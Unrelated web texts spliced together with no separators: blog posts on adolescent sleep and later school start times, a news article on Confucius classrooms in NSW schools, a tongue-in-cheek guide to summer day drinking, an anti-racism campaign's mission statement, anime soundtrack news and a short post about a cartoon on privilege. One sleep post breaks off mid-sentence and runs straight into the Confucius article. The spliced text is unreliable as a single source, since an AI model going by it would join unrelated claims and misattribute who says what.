In short, presumably under the influence of the sudden surge of sex steroid hormones (and my own research gently touched on this), the circadian clock phase-advances in teen years. It persists in this state until one is almost 30 years old. After that, it settles into its adult pattern. Of course, we are talking about human populations, not individuals - you can surely give me an anecdote about someone who does not follow this pattern. That's fine. Of course there are exceptions, as there is vast genetic (and thus phenotypic) variation in human populations. This does not in any way diminish the findings of population studies.
Everyone, from little children, through teens and young adults to elderly, belongs to one of the 'chronotypes'. You can be a more or less extreme lark (phase-advanced, tend to wake up and fall asleep early), a more or less extreme owl (phase-delayed, tend to wake up and fall asleep late). You can be something in between - some kind of "median" (I don't want to call this normal, because the whole spectrum is normal) chronotype.
Along a different continuum, one can be very rigid (usually the extreme larks find it really difficult to adjust to work schedules that do not fit their clocks), or quite flexible (people who find it easy to work night-shifts or rotating shifts and tend to remain in such jobs long after their colleagues with less flexible clocks have quit).
No matter where you are on these continua, once you hit puberty your clock will phase-delay. If you were an owl to begin with, you will become a more extreme owl for about a dozen years. If you are an extreme lark, you'll be a less extreme lark. In the late 20s, your clock will gradually go back to your baseline chronotype and retain it for the rest of your life.
The important thing to remember is that chronotypes are not social constructs (although work-hours and school-hours are). No amount of bribing or threatening can make an adolescent fall asleep early. Don't blame video games or TV. Even if you take all of these away (and you should that late at night, and replace them with books) and switch off the lights, the poor teen will toss and turn and not fall asleep until midnight or later, thus getting only about 4-6 hours of sleep until it is time to get up and go to school again.
More and more school districts around the country, especially in more enlightened and progressive areas, are heeding the science and making a rational decision to follow the science and adjust the school-start times accordingly. Instead of forcing teenagers to wake up at their biological midnight (circa 6am) to go to school, where invariably they sleep through the first two morning classes, more and more schools are adopting the reverse busing schedule: elementary schools first (around 7:50am), middle schools next (around 8:20am) and high schools last (around 8:50am). I hope all schools around the country eventually adopt this schedule and quit torturing the teens and then blaming the teens for sleeping in class and making bad grades.
No matter how much you may wish to think that everything in human behavior originates in culture, biology will trump you every now and then, and then you should better pay attention, especially if the life, health, happiness and educational quality of other people depends on your decisions.
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Recently, Lance Mannion wrote an interesting post on the topic, which reminded me also of an older post by Ezra Klein in which the commenters voiced all the usual arguments heard in this debate.
There are a couple of more details that I have not touched upon in the previous posts.
First, lack of sleep can lead to obesity and even diabetes, as the circadian clock is tightly connected to the ghrelin/leptin system of hormonal control of hunger, feeding and fat-deposition.
Second, lack of sleep discourages exercise. Put these two pieces of data together, and you get a national epidemic of obesity, not just a bunch of sleep-deprived children.
Third, lack of sleep has a well-documented effect on mood. No, teenagers are not naturally that moody - at least not all of them. They are just barely "functional" (instead of "optimal") and walk through life like zombies because they are operating on 4-8 hours of sleep instead of 9 hours (optimal for teens, it goes down to about 8 for adults). Of course they are moody.
Fourth, chronic sleep deprivation can have long-term consequences, ranging from psychiatric diseases to cancer. Remember that teens in high-school (and college students are faring worse!) are constantly jet-lagged!
There is even a hypothesis floating around that sleep-delay in adolescence may affect the onset of picking up smoking.
Fifth - and I did not think of this although it is obvious - teenagers above a certain age, still in high school, are allowed to drive. If they are driving themselves to school at 6 or 7am, when their circadian clocks think is it 3 or 4am, it is as if they are driving drunk. There is actually a scale devised by one of the sleep researchers that tells which time of the night corresponds to what number of bottles of beer. Driving at 4am (or driving a ship, like Exxon Valdez, or operating a power-plant, like one in Chernobyl) is the equivalent of driving drunk - way over the legal limits. Teenagers driving at 7am are equally "drunk".
One of the reasons for the resistance to healthy initiatives to change school-start schedules stems from the fact that the world is organized by adults and adults want to have the world run according to schedules that fit their moods and are unwilling to change it - they may not know that teens feel differently, or they defend their preferences nonetheless.
A large proportion of adults in this country still subscribe to barbaric notions that sleep is a shameful activity, a sign of laziness, and that teens need to be tortured in order to "steel" them to grow into "real men". This has roots all the way back to the Puritan so-called "work-ethic" which is really a "no fun for anyone" punitive ethic long ago shown to be physically and emotionally debilitating.
When I was a kid, back in old now-non-existent Yugoslavia, most schools in big urban areas worked in two shifts. All the kids started school at 8am and ended at 1:15pm for one week, then started at 2pm and ended at 7:15pm the next week, and so on...
If a school had, let's say, twelve classes of the seventh grade, six of those would be in the A-shift and the other six in the B-shift. Each shift had its own complete set of teachers, assistants, nurses...everything except the one shared Principal and the school psychologist.
The time between 1:15pm and 2pm was for supplementary classes (either for those who needed extra help, or for those preparing for Math Olympics and such) and clubs. That was also time for kids from two shifts to meet and get to know each other (it is amazing how many kids from opposite shifts started dating each other after the year-end Big Trip to the Coast). There was no such thing as the American hype for high-school competitive sports, which I still find strange and curious after 15 [now 20] years in this country.
Thus, you get to sleep in for a week (but miss out on afternoon activities), then have to get up relatively early for a week but have the afternoon free to gallivant around town. Nobody there understands what's the American fuss over kids being home alone - of course they are home alone, cleaning the house, fixing meals, doing homework and BETTER be getting to school on time!
Teachers were pretty understanding about sleeping types. I do not recall ever having a big test, quiz or exam being given at the extremes of the day (around 8am or around 7pm). As an owl myself, I was much more likely to raise my hand, participate in discussions, or volunteer for oral examinations during the week when I was in school in the afternoon, and that was fine with most of my teachers.
Transportation was not an issue. Most kids lived close enough to their neighborhood school to walk. For those who lived a little farther away - hey, no problem, that's Europe, so Belgrade has a huge and pretty efficient public transportation system. I do not remember ever seeing any of my friends ever being dropped off to school by a parent driving a car! Or being brought to or picked up from school by a parent beyond fourth grade at all - period. And the minimum driving age being 18, nobody drove themselves to school either.
In rural areas, there was no need for two shifts - something like 9am-2:15pm was good enough to accommodate all of the kids.
I do not think that this kind of system can be implemented in the USA. It relies on an efficient public transportation which, with exception of a few oldest East Coast cities, is practically non-existent. American cities have been built for cars.
But some things can be done.
First, swap the starting times so elementary kids go to school first, middle school next and high school last (e.g., around 8am, 8:30am and 9am respectively). Studies show that teens do not go to sleep later if their school starts later. Some cynics claim that is what teens will do. But they do not. Actually, they fall asleep at the same time, thus gaining an additional hour of sleep.
Teens are almost adults. The current generation of teens, perhaps because of a closer and tighter contact with their parents than any generation before, is the most serious, mature and responsible generation I have seen. Give them a benefit of the doubt. Just because you were into mischief and hated your parents when you were their age does not mean that today's kids are the same.
Second, start the school day - for all kids every day - with PE (or some kind of exercise), preferably outdoors, as both exposure to daylight and the exercise have been shown to aid in phase-shifting the circadian clock.
Third, let them eat breakfast afterwards (sticking to a meal schedule also helps entrain the clock). Follow up with the electives which kids may be most interested in.
By the time they hit math, science and English classes around 11 or so, their bodies are finally fully awake and they can understand what the teacher is saying, and do the tests with a clear mind instead of in a sleepy haze.
Do not permit any caffeine to be sold in schools. Advise parents not to allow TV or any other electronics to be in kids' bedrooms. Let them enjoy those activities in the living room. Bedroom is for sleeping, and sleeping alone. A book before bed is fine, but screens just keep them awake even longer.
Finally, rethink all those extra activities you are forcing the teens to do: sports, art, music, etc. In teen's minds, the day does not start with the beginning of school in the morning. We may think that we are at work most of our day. Teens do not - they consider their day to begin at the time school-day is over. Their day begins in the afternoon. School is something they have to deal with before they can have their day. Realize this and give them time and space to do with their day what they want. Do not push them to do things that you think they'll need to get into Harvard. Let them be - leave them alone. Then they'll go to sleep at a normal time.
Concern for our kids' physical and mental health HAS to trump all other concerns, including economic costs, cultural traditions and adult preferences. We have a problem and we need to do something, informed by science, to fix the problem. Blaming the messenger, proposing to do nothing, and, the worst, blaming the kids, is unacceptable.
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All of this targets high-schoolers. However, there is barely any mention of college students who are, chronobiologically, in the same age-group as high-school students, i.e., their sleep cycles are phase-delayed compared to both little kids and to adults.
In a way, this may be because there is not much adults can do about college students. They are supposedly adults themselves and capable of taking care of themselves. Nobody forces (at least in theory) them to take 8am classes. Nobody forces them to spend nights partying either.
They are on their own, away from their parents' direct supervision, so nobody can tell them to remove TVs and electronic games out of their bedrooms. The college administrators cannot deal with this because it is an invasion of students' privacy.
Forward-looking school systems in reality-based communities around the country have, over the last several years, implemented a policy that is based on science - sending elementary school kids to school first in the morning, middle-schoolers next, and high-schoolers last. This is based on the effects of puberty on the performance of the human circadian clock.
For teenagers, 6am is practically midnight - their bodies have barely begun to sleep. Although there have been some irrational (or on-the-surface-economics-based) voices of opposition - based on outdated notions of laziness - they were not reasonable enough, especially not in comparison to the scientific and medical information at hand, for school boards to reject these changes.
I am very happy that my kids are going to school in such an enlightened environment, and I am also happy to note that every year more school systems adopt the reasonable starting schedules based on current scientific knowledge.
Yet, college students are, from what I heard, in much worse shape than high-schoolers. Both groups should sleep around 9 hours per day (adults over thirty are good with about 8 hours). High-schoolers get on average 6.9 hours. College students are down to about five! The continuous insomnia of college students even has its own name in chronobiology: Student Lag (like jet-lag without travelling to cool places). Is there anything we, as a society, can do to alleviate student lag? Should we?
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This kind of ignorant bleating makes me froth at the mouth every time - I guess it is because this is my own blogging "turf".
One of the recurring themes of my blog is the disdain I have for people who equate sleep with laziness out of their Puritan core of understanding of the world, their "work ethic" which is a smokescreen for power-play, their vicious disrespect for everyone who is not like them, and the nasty feeling of superiority they have towards the teenagers just because they are older, bigger, stronger and more powerful than the kids. Not to forget the idiotic notions that kids need to be "hardened", or that, just because they managed to survive some hardships when they were teens, all the future generations have to be sentenced to the same types of hardships, just to make it even. This is bullying behavior, and disregarding and/or twisting science in the search for personal triumphalism irks me to no end.
I hated getting up early, too. I still hate it, and I'm so far beyond growth hormones that I don't even remember how they felt. But I do remember that in middle and high school, I dragged myself out of the house at 5 a.m. every day of the week to deliver papers before I caught the 6:45 a.m. bus to school. I never fell asleep in class. Neither did anybody else. And something caused me to grow 6 inches and add 35 pounds between sophomore and junior year. At the end of that kind of day, complete with cross-country, basketball or track, I had no trouble falling asleep at 10 p.m.
He said that he grew up in height and weight when he was in high school. Who knows how much more he would have grown if he was not so sleep deprived (if his self-congatulatory stories are to be believed and he did not slack off every chance he had). Perhaps he would not grow up to be so grouchy and mean-spirited if he had a more normal adolescence.
I don't know where he got the idea that growth hormone is a cause of the phase-delay of circadian rhythms in adolescence. It could be, but it is unlikely - we just don't know yet. But, if a hormone is a cause, than it is much more likely to be sex steroids. Perhaps his sleep-deprived and testosterone-deprived youth turned him into a sissy with male anxiety he channels into lashing at those weaker than him?
In previous centuries, adolescents in an agrarian society got up at 4:30 or 5a.m. with their parents to milk the cows or do any other of a long list of chores. Did growth hormones pass them by? Where were the "studies" that showed they really needed to go to bed after midnight and sleep until 10? And why weren't their parents all being reported to the DSS? Oh, that's right, there was no DSS. How did that generation survive?
He assumes that in times before electricity, teenagers used to wake up and fall asleep at the same time adults did. Well, they did not. Studies of sleep patterns in primitive tribes show that adolescents are the last ones to wake up (and nobody bashes them for it - it is the New Primitives with access to the media that do that) and the last ones to fall asleep - they serve as first-shift sentries during the night watch.
Even in this, the 21st century, kids who enter the military at 17 find that they can fall asleep easily at 9:30 or 10, because they know they're going to be getting up at 4:30 or 5. Apparently the Army hasn't read the study on circadian rhythms.
Actually, the military being the most worried by this problem is funding a lot of research on circadian rhythms and sleep and has been for decades. Because they know, first hand, how big a problem it is and that yelling sargeants do not alert soldiers make.
Kids, if you need more sleep, my study shows there's a simple way to get it. Turn off - I mean "power down" - the cell phone, the iPod and the computer sometime before 11 p.m. Turn off the TV. Turn off the light. Lie down in bed and close your eyes.
...and sit in the dark for the next four hours, heh?
What especially drives me crazy is that so many teachers, people who work with adolescents every day, succumb to this indulgence in personal power over the children. It is easier to get into a self-righteous 'high' than to study the science and do something about the problem. It is easier to blame the kids than to admit personal impotence and try to do something about it by studying the issue.
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My regular readers are probably aware that the topic of adolescent sleep and the issue of starting times of schools are some of my favourite subjects for a variety of reasons: I am a chronobiologist, I am an extreme "owl" (hence the name of this blog), I am a parent of developing extreme "owls", I have a particular distaste for Puritanical equation of sleep with laziness which always raises its ugly head in discussions of adolescent sleep, and much of my own past research was somewhat related to this topic.
So, I was particularly pleased when Jessica of the excellent Bee Policy blog informed me of the recent publication of a book devoted entirely to this topic. Snooze...or Lose! by Helen Emsellem was published by National Academies and Jessica managed to get me an advanced reading copy to review.
You can also read the book online (or buy the PDF). Much more information on the topic can be found on the book webpage, on the National Slep Foundation website, on Dr.Emsellem's homepage and the Start Later for Excellence in Education Proposal (S.L.E.E.P.) website. I strongly encourage you to look around those webpages.
Her daughter Elyssa wrote one of the chapters in the book and is promoting the book and the information relevant to teenagers at the place where teenagers are most likely to see it - on MySpace (you see - it's not just music bands who caught onto this trick - serious information can be promoted at MySpace as well).
The main audience for this book are teenagers themselves and their parents - I think in this order although officially the order is reversed. Secondarily, the audience are teachers, administrators and officials in charge of school policy. Who this book is not targeted to are scientists and book reviewers because there are no end notes!
Anyway, considering that the main audience are teens, their parents and teachers (i.e., laypeople), the book is admirably clear and readable. The book starts out with presenting the problem - the chronic sleep deprivation of adolescents in modern society - and provides ample evidence that this is indeed a wide-spread problem. It continues with a simple primer on physiology of sleep and circadian rhythms, followed by a review of the current knowledge of the negative consequences of chronic sleep deprivation: from susceptibility to diseases, through psychological and behavioral problems, to problems of physical and mental performance.
A whole chapter - the one I found most interesting - is devoted to the role of sleep in various kinds of memory and the negative effects of sleep deprivation on learning - both declarative and episodic memory, as well as kinesthetic memory needed for athletic performance and safe driving. This is where I missed the end notes the most.
Throughout the book, Dr.Emsellem makes statements of fact about sleep that are obviously derived from research. I'd like to see the references to that research so I can evaluate for myself how strong each such statement is. Although my specialty is chronobiology (physiology, development, reproduction, behavior, ecology and evolution) of birds, and secondarily that of mammals, reptiles, invertebrates and microorganisms (I could never quite get excited about clocks in fish, fungi and plants, or molecular aspects of circadian rhythms, or medical aspects of human rhythms), I am quite familiar with the literature on sleep, including in humans.
Thus, I know that the statements in the book reflect scientific consensus but that the meaning of "consensus" is quite elastic. In some cases, it means "there is a mountain of evidence for this statement and no evidence against it, so it is highly unlikely that this will change any time soon". In other cases it means "there are a few studies suggesting this, but they are not perfect and there are some studies with differing results, and this can stand for now but is likely to me modified or completely overturned by future research".
Having end notes would help the expert reader see how weak or strong each one of these findings is, and would also be suggestive to lay readers that the statements in the book are supported by actual research and are not just the author's invention as seen in so many self-help books. End notes and references add to the believability of the text even if one does not bother to check the papers out.
The book then turns to variety of factors, both biological and social, that conspire to deprive our teens of sleep, both from the perspective of a sleep researcher and from the perspective of teenagers. Little snippets of teenagers' thoughts on the topic are included throughout the book and add an important perspective as well as make the book more fun to read. Otherwise, the "case studies", the bane of so many psychology books, are kept to the minimum, discussed very briefly, and used wisely..
In the next section, Dr.Emsellem turns to solutions. First, she present several tests of sleep deprivation that readers can administer themselves in order to self-diagnose the problem. She then describes ten different strategies that parents and teens can work on together in order to solve the problem of sleep deprivation and all the concomittant negative effects (and Alyssa adds her own chapter on the teen perspective on how those can work). If that does not work, she describes additional methods that a sleep doctor may prescribe to help solve the problem. There is also a short chapter describing a couple of other sleep disorders, e.g., sleep apnea, that also contribute to sleep deprivation in affected individuals.
The last portion of the book addresses the social aspects of sleep deprivation and changes that parents and teens can make in their homes, as well as broader community, towards solving the problem. For adults, being a role model for the child is important and this requires paying attention to one's own sleep hygiene.
The very last portion is really the raison d'etre of the book - how to make one's community change the school starting times. The author presents a couple of examples of school districts in which such change was enacted, the strategies parents used to force such changes and the incredible positive results of such changes. The whole book is really designed to provide information to parents and teens who are working on changing |
, drawing Turnbull to accuse him of "providing counter-surveillance advice to a foreign national". One analysis found Dastyari had peppered defence officials with more than 115 questions about Chinese interests since entering the Senate in 2013. Australian intelligence agencies have become increasingly concerned by Chinese soft power. In 2012, telecoms giant Huawei was banned from tendering for the national broadband network over cybersecurity concerns, and partnerships with Australia's national science agency have raised fears research could be adapted for military ends. In response, China has accused Australian media of writing "paranoid" reports that “reflected a typical anti-China hysteria”. It said Chinese students and the Chinese community were being vilified, possibly a reference to reports about Beijing's growing influence in Australian campuses. Embassy officials instead urged Australia to deepen its ties with China.
Under a 2011 agreement, the NSW Department of Education Confucius Institute manages Confucius classrooms teaching Chinese in 13 NSW primary and secondary public schools. Two of the four positions in the NSW institute are funded by the department, while the others are funded by Chinese partners, the Office of Chinese Language Council International, known as the Hanban, in partnership with Jiangsu Provincial Department of Education.
Under the Confucius Institute constitution, all institutes are obliged to report their annual projects and accounts back to their Beijing headquarters “for examination and approval”, effectively giving a Chinese government body potential veto power over work done within an Australian government department.
The NSW Department of Education said: “The Confucius Institute at the NSW Department of Education is managed by the department and complies with all departmental policies.
“The intent of the agreement is to strengthen educational cooperation between China and Australia, support and promote the development of Chinese language education, and increase mutual understanding and friendship among people in China and Australia.”
Dr Marshall Sahlins, a renowned sociologist at the University of Chicago who wrote a book about the influence of Confucius institutes on academic life, criticised the arrangement as “dangerous for the obvious reason that it implants Chinese interests and personnel, not simply in NSW universities but in the NSW government department in charge of education”.
The worldwide Confucius Institute headquarters (the “Hanban”), which is affiliated with China’s ministry of education, provided $150,000 in establishment funds for the NSW Department of Education Institute, and gives $10,000 per year for each Confucius classroom, as well as a native Chinese teaching assistant and teaching materials.
One Chinese language teacher, Jinping Blunden, at Homebush Boys high school, said Confucius Institute funding has increased the popularity of Chinese among students at the school. It has helped pay for excursions to the Blue Mountains, Sydney’s Chinatown and the Chinese Garden of Friendship, deepening students’ understanding of Chinese culture. When asked about the possibility of political content being included in class, she said all NSW Chinese classes must follow the state-mandated syllabus, using local textbooks, with the institute’s teaching assistants only playing a supplementary role in the classroom.
The Chinese Language Teachers Association of NSW says the Confucius classrooms have benefited Chinese language and culture studies, and there is no evidence of political content.
Jamie Parker, a NSW MP who raised concerns about the Confucius classrooms in the parliament in 2011, said: “I’m concerned this is acting as an arm of propaganda from the Chinese perspective and trying to extend that into our education system here in Australia. One of the problems is that schools are always so desperate for funding that people that are supposed to be providing funds are often welcomed with open arms without the kind of analysis and critical eye that’s required.”
Another expert, Dr Falk Hartig at the Goethe University in Frankfurt, has studied Confucius institutes in Australia, and raises concerns about the target audience in this particular collaboration. “They are targeting young students and children,” he said, adding that it was “a little different than targeting adult students who may think for themselves what it may mean if I go to a Confucius Institute.”
Hartig said: “It’s a very smart move to engage western stakeholders in Chinese public diplomacy efforts, and even making those foreigners pay. This is the very, very interesting aspect. Because you provide the infrastructure and you provide local human resources, you’re also co-financing those institutes. From the Chinese side, that’s a very smart and clever move.”
One NSW parent, Alexander Nilsen, has been a vocal critic, partly due to his belief in Falun Gong, a spiritual movement banned in China as an evil sect. He chose not to send his son to Chatswood Public school after discovering it had a Confucius classroom. “It may be called an ‘education department’ but that’s not really what it is,” he said. “Hanban decides who teaches … what they teach, and the materials they use.”
Another parent of a child learning Chinese in a Confucius classroom, who asked not to be named for fear her child would be disadvantaged, said she had asked for Chinese flags to be removed from the classroom. She said that the principal of her child’s school was aware of the risks associated with the program, even going so far as to ask her to “monitor” the lessons on behalf of the school.
When the classrooms were opened, the Department of Education’s regional director Dr Phil Lambert openly discouraged discussions in the classrooms about controversial subjects such as China’s human rights record, Tibet or Tiananmen.
The confidential 2011 agreement signed between the department and the Confucius Institute headquarters, states: “The Institute activities … shall not contravene the laws and regulations, both in Australia and China.” Such an agreement could rule out discussion about, for example, the status of Taiwan or calls for independence in Tibet or Hong Kong, and as such could limit academic freedom.
A third overseas scholar of Confucius Institutes, Dr Lionel Jensen of Notre Dame University in Indiana, has raised concerns that such language “may be construed as an illegal overreach of jurisdiction”.
A similar arrangement to establish a Confucius Institute inside the Toronto District school board was scrapped in 2014 after heated community protests. Pamela Gough, who serves as a trustee on the board, said that cultural partnerships inflaming sectors of the community are “not necessary or appropriate”.
Chinese influence on Australia is 'fabricated' by media, China claims Read more
“The main issue with the Confucius Institute partnership with the Toronto District school board was the strong links that the leadership of Confucius Institutes has with the government of China … there are many other ways to offer enrichment opportunities in Chinese languages, history and culture without necessarily entering into partnerships with organisations such as the Confucius Institute.”
According to the China Daily, there are 1,076 Confucius classrooms at schools worldwide, and 516 Confucius institutes. Universities including Chicago, Penn State, Stockholm University, Lyon University and Canada’s McMaster university have closed down their Confucius institutes, while the conservative National Association of Scholars called for all US universities to close their Confucius institutes, following “improper concessions that jeopardize academic freedom and institutional autonomy.”
This week China’s ministry of foreign affairs urged Malcolm Turnbull to “discard prejudice” and deepen the bilateral relationship rather than pursue measures aimed at shoring up Australia from the risks of foreign interference, insisting it “does not interfere in other countries’ domestic affairs”. The embassy in China also said the Australian media have “repeatedly fabricated” stories about Chinese influence and infiltration in Australia.Images: Derek Mead
Summer is the season of excess. For better or for worse, jeans turn into jorts, doing any sort of real work becomes an increasingly distant possibility, and the days beg for beers. The allure of day drinking only seems to rise with the temperature, but if you don't know how to handle yourself, you'll be tossing your eggs benny and nodding off on a patio before you know it. You don't want to be that person. We don't want you to be that person.
There's no One Weird Trick to keep you on the straight and narrow during a day-long session. Drinking to excess means, believe it or not, that you're going to get drunk and experience all the accompanying effects. Doing so in the heat of midday can be especially dangerous because alcohol increases the risk of heat stress and the loss of important vitamins and nutrients through your peehole.
But don't freak out, fellow diurnal drinker; science and technology are on our side. Here are a few Motherboard-approved tips to help you make it through the boozy days of summer without killing yourself.
Quantify Yourself
By the time four in the afternoon rolls around, you're going to wish you had a better gauge of how much you've had to drink than simply how sick you feel. Before you head out the door, it might not be a bad idea idea to strap on some wearable tech and load up some apps.
As Motherboard's Nicolas Hausdorf showed during his quantified night out in Berlin, apps like BAC Calc that track your blood alcohol content throughout the day can keep you aware of how wasted you're getting. A Nike Fuelband on your wrist could be a good idea if you're concerned about packing on the pounds after a day of binge drinking and, let's be real, slamming down burritos. To keep you on-budget, look at Mint, even if it scares you.
Of course, by doing this you run the risk of facing glasshole-esque social shaming—and perhaps you should, you shameless Silicon Valley acolyte—but when it comes to your health, a little social awkwardness is probably worth it.
Eat Brunch (Just Eat in General)
Wake up late, head on over to your favourite brunch joint, and buckle down for the most important meal of the day because you're going to need some complex carbohydrates and fats before you start drowning your liver in mimosas.
As the US National Library of Medicine's own guide to responsible drinking says, "Alcohol gets into your bloodstream quickly. The amount and type of food in your stomach can change how quickly this occurs. For example, high-carbohydrate and high-fat foods can make your body absorb alcohol more slowly."
A big meal before boozing won't "soak up the alcohol," despite what your college friend Ricky told you. It will, however, help keep the spins at bay since those whole wheat waffles and pork belly are perfect for sitting in the small intestine, where alcohol is absorbed into the bloodstream, for long periods of time. This tactic won't keep you from getting drunk—once booze is in your belly, it's going to do its work—but it will keep every drink from hitting you at once.
But what about that brunch champagne? There's nothing more enjoyable than bottomless juice cups of cut-rate bubbly, but if you're looking to make it past noon, you might want to pass. As the same NLM guide says, "Certain types of alcoholic drinks get into your bloodstream faster. A carbonated (fizzy) alcoholic drink, such as champagne, will be absorbed faster than a non-carbonated drink."
Brunch is also a good time to stock up on some of the minerals and vitamins you're going to be wizzing out for the rest of the day. Bananas are a great source of potassium, for example. Eat up, and eat well. You've got a big day ahead of you.
Drink Water, and a Lot of It
Alcohol is a diuretic, which is a fancy way of saying what most of us already know all too well: it makes you pee a lot. Alcohol suppresses the antidiuretic hormone in the human body, resulting in excessive urination and eventual dehydration. Dehydration, by the way, is one of the main causes for the next morning's head-splitting hangover.
Dehydration can be very unpleasant, and actively dehydrating yourself in the hot sun isn't a very good idea. Unfortunately, you're always going to be playing catch-up with the pints passing through your organs. One study from 1990, in which subjects drank whisky for breakfast, found that the diuretic effect of drinking is most pronounced for an hour or two after drinking; if you're drinking all day, that effect won't go away.
Another study, this one from way back in 1950, found that after 147 ml of 86 proof whiskey (roughly three shots, depending on how heavy your hand is), test subjects' urine output peaked at more than three times that of the control group. The long and short is what you already know: Drink a lot, and you pee a lot. But it is important to remember that you're not just peeing out what you've drank; that alcohol is actively working to dehydrate you as well.
Because of this, drinking water is absolutely crucial, and doubly so when you're sweating under the sun. Drinking one glass of water for every glass of alcohol that you consume—feel encouraged to mix in the occasional Gatorade as well—should keep you from experiencing severe dehydration. This will also have the added bonus of forcing you to pace yourself. This is a marathon, not a sprint, champ.
Stay Cool, Be Cool
As I previously mentioned, alcohol dries you out and, when paired with extreme heat, it can lead to heat exhaustion. Another, often undiscussed, factor that contributes to heat stress while imbibing is that being drunk can make you act really drunk—slow, stupid, and avoidant of cooling behaviours.
Take the same precautions that you would any other time you're in the sun for long periods. Stay in the shade when you can, wear clothes that breathe, drink plenty of fluids (that aren't alcohol), and wear sunscreen. Seriously, wear sunscreen—it smells funny and it reminds me of being nine years old, but it's also key to avoiding a painful burn and awful tan line. And don't forget your shades.
Oh, and remember that lunatic behavior is less accepted during the daytime hours, so stay chill. Since everyone has their own definition of chill, and they're all cool in their own right, we'll sum this tip up like this: Don't be a drunken idiot. The last thing anyone wants to see is some dude who's so hammered and sunburned that he's hallucinating while stomping around the beach like a lobotomized gorilla. Don't be that guy.
Skip the Whisky, Hemingway
Whisky is the unmistakable mark of someone who really knows how to drink. It oozes amber authenticity; it's the drink of big, burly men and badass women who are in touch with their feelings. But on hot days, you should skip it, especially in mixed drinks.
Drinking whisky and other hard liquors don't necessarily get you drunk quicker—alcohol is alcohol—but there is the risk of drinking more of it more quickly. Sipping a pint usually takes longer than downing a double whisky ginger and lime.
In fact, just skip mixed drinks altogether. As previously mentioned, carbonated beverages like soda or sparkling wine also contribute to alcohol being absorbed into the bloodstream more quickly by speeding up its passage from the stomach to the small intestine.
Beer does the same thing, sure, but working on a sixer of a nice, crisp Pilsner or other low ABV beer is going to get you into less trouble than trying to hold back from sucking down six gloriously tart gin and tonics.
Need a recommendation? We'd suggest starting with this Beer Advocate list of top American Pale Ales (or this one of Pilsners, or this one of steam beers, or… you get the idea) and finding something with an ABV of 5.5 percent or lower.
We all know the snobs and shitbirds who think either high-alcohol beers, beer bongs, or margarita enemas are the only "real" way to party, but let's not be a jackass here. Remember, day drinking is a game of stamina and endurance.
Prepare for the Next Morning
Like some sort of cruel law of the universe, a fun-filled day of drinking often brings with it a crushing hangover. Since hangovers are likely caused by many intertwining factors, including mild alcohol withdrawal, dehydration, gastrointestinal inflammation, sleep interruption, low blood sugar levels, and more, there's no surefire way to avoid one. Most of the tips I've already mentioned will serve to mitigate the effects, but you always want to be ready for a bad hangover just in case it comes.
Drinking a tall glass of water before going to bed can offset some of alcohol's dehydrating effects. Eating lots of fruit and bland foods that contain complex carbohydrates like toast or crackers can replenish vitamins, especially the B and C complexes, and even out your blood sugar levels. Copious napping can help ease the fatigue that comes with a restless night of drunk sleep. Also, pizza.
While all of these suggestions are recommended by doctors and various national health bodies, the only surefire way to avoid a hangover is not to get drunk. But, since you're reading this, that's probably not going to happen. Thankfully, bona fide hangover cures are on the horizon, thanks to a variety of brain-pain-hating researchers.
Getting tipsy during the daylight hours is an indisputable joy of summer, but please, be smart. After all, you don't want to miss the steamy night that comes after the late afternoon nap of a boozy day because you died on a lawn somewhere.MISSION
To raise awareness about white privilege in our community, provide resources for understanding and action, and facilitate dialogue and partnership that result in fundamental, systemic change towards racial justice.
VISION
An evolved community free of individual, systemic and institutionalized racism.
ABOUT THE CAMPAIGN
The Un-Fair Campaign was created to bring this mission and vision into reality in our community. In spring/summer 2011, partner organizations were recruited to support the campaign and ensure community-wide action to address institutional racism.
In October 2011, the first phase of the campaign was implemented when partners received printed material and began white privilege conversations and workshops within their organizations. At the same time, this website was launched to provide resources to help both individuals and organizations in their efforts to:
See It
Know It
Stop It
Phase II of the campaign will begin in early 2012 and will include:
A broad community awareness marketing campaign
Train-the-trainer workshops and seminars
Community dialogues
Major speakers on issues related to racism and white privilege
Curriculum development
Community reading programs
People of color experience incidents of racism every day, and they have long asked “when will white people in our community stand up and speak out about racism?” This campaign is part of a response to that question. Racial justice will never be achieved until we as white people address white privilege and work to change it.
Many groups and organizations in the community are working hard to end racism. We hope this campaign, through strong and committed partnerships, will create a large and vocal voice that moves people to action.
Partners have come together to begin to transform our own organizations and ourselves with the hope that it will transform our community.
This campaign is called the Un-Fair campaign because we feel it is unfair that some of the members of our community have privileges that are unearned just because of the color of their skin and others face barriers, discrimination and disadvantages because of the color of their skin. That’s unfair. We believe that an important part of creating a community that is equitable for all of us means looking at how those of us who are over advantaged can begin to change ourselves and the institutions and systems in our community that perpetuate white privilege.
It is hard to see racism when we are white because the systems and institutions are set up to look like us and advantage us. It is hard to see racism when we are white because we live in a monoculture based on white northern European values, beliefs, practices and culture. We are ‘normal’.
Challenging the white monoculture and its systems and institutions, and the privileges it creates for whites, is a necessary step in eliminating racism. Building a multi-cultural community that is fair and just for everyone requires us to do this work.19-year-old Canadian/Japanese vocalist Melody Chubak (Plastic Memories) is contributing the singing voice for Heinz, the young prince of the antagonistic Windermere Kingdom in the Macross Delta television anime series. She sings the song "Aura Sala ~Hikaru Kaze~" in episode 3 and "Zarudo Vaasa! ~Ketsui no Kaze~" in episode 4. Voice actress Yuka Terasaki provides the speaking voice for the character.
The anime's first original soundtrack will go on sale on June 22. The album will contain 30 tracks from composers Saeko Suzuki, TOMISIRO, and Mina Kubota.
The album's tracks include the short versions of the idol group Walküre's opening theme songs "Ichido Dake no Koi Nara" (If It Is a One-Time-Only Love) and ending theme song "Rune ga Pikatto Hikattara" (When the Rune Sparkles). The album also has four insert songs: Heinz's songs, "Kurage Ondo" (Jellyfish Song) by Walkūre's Freyja (Minori Suzuki), Reina (Nao Tōyama), and Makina (Nozomi Nishida); and "Ragu Nyan-Nyan no Uta" (Ragu Nyan-Nyan's Song) by Ragu Nyan-Nyan.You all know how I feel about animations and illustrations and whatnot. I have been using a cartoon avatar on these interwebs for over 9 years, because I really do think they’re adorable, but also great ways to kind of make people pay attention even when they don’t realize they are.
My awesome friend Franchesca (aka Chescaleigh) joined forces with the gifted Kat Blaque for a cartoon that’s dropping important truths while also being entertaining. I wanted y’all to see it because this is the type of thing you can even show your kids. LEARN EM SOMETHING.
LMAO at the twerking bugs at the end. GET DOWN LIL MAMAS!
Anywho, yup! Because many times, the caterpillars around us don’t realize that they might have it easier than the snails. In fact, everyone who isn’t a rich, white, Christian, straight, able, cisgender man is a snail at one point or another in their lives so we all just need to be a bit more aware of our privileges and what comes with them.
This was simple, sweet and brilliant, and I keep watching it.
